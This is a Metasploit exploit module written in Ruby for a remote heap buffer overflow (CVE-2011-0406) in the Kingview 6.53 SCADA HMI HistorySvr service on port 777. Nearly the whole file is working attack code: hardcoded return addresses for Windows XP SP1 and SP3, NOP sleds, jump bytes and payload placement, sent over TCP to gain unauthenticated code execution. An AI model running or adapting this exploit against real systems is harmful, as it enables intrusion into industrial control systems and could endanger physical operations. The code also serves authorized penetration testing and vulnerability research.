##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Kingview 6.53 SCADA HMI HistorySvr Heap Overflow",
'Description' => %q{
This module exploits a buffer overflow in Kingview 6.53. By sending a specially
crafted request to port 777 (HistorySvr.exe), a remote attacker may be able to
gain arbitrary code execution without authentication.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'Dillon Beresford', #Found by Dillon
'rick2600', #XP SP3 execution
],
'References' =>
[
['CVE', '2011-0406'],
['OSVDB', '70366'],
['Bugtraq', '45727'],
['URL', 'http://www.exploit-db.com/exploits/15957'],
['URL', 'http://www.kb.cert.org/vuls/id/180119'],
['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP1', {'Ret' => 0x77ED73B4} ], #UnhandledExceptionFilter() in kernel32.dll
[ 'Windows XP SP3 EN', {'Ret' => 0x00A1FB84} ],
],
'DisclosureDate' => "9/28/2010",
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(777) ], self.class )
end
def exploit
sploit = ''
if target.name =~ /XP SP1/
sploit << make_nops(32812)
sploit << "\xEB\x10"
sploit << "\x41"*6
sploit << "\xAD\xBB\xC3\x77"
sploit << [target.ret].pack('V')
sploit << make_nops(8)
sploit << payload.encoded
sploit << "\x44"*(1000-payload.encoded.length)
#this makes the app more crashy, need to investigatev
#sploit << make_nops(1000-payload.encoded.length)
elsif target.name =~ /XP SP3/
sploit << make_nops(1024)
sploit << payload.encoded
sploit << "\x44"*(31752-payload.encoded.length)
#rand_text_alpha_xxx() unfortunately makes it a bit unstable,
#not ready to implement
#sploit << rand_text_alpha_upper(32776-sploit.length)
sploit << [target.ret].pack('V')
end
connect
print_status("Trying target #{target.name}")
sock.write(sploit)
select(nil, nil, nil, 5)
handler
disconnect
end
end
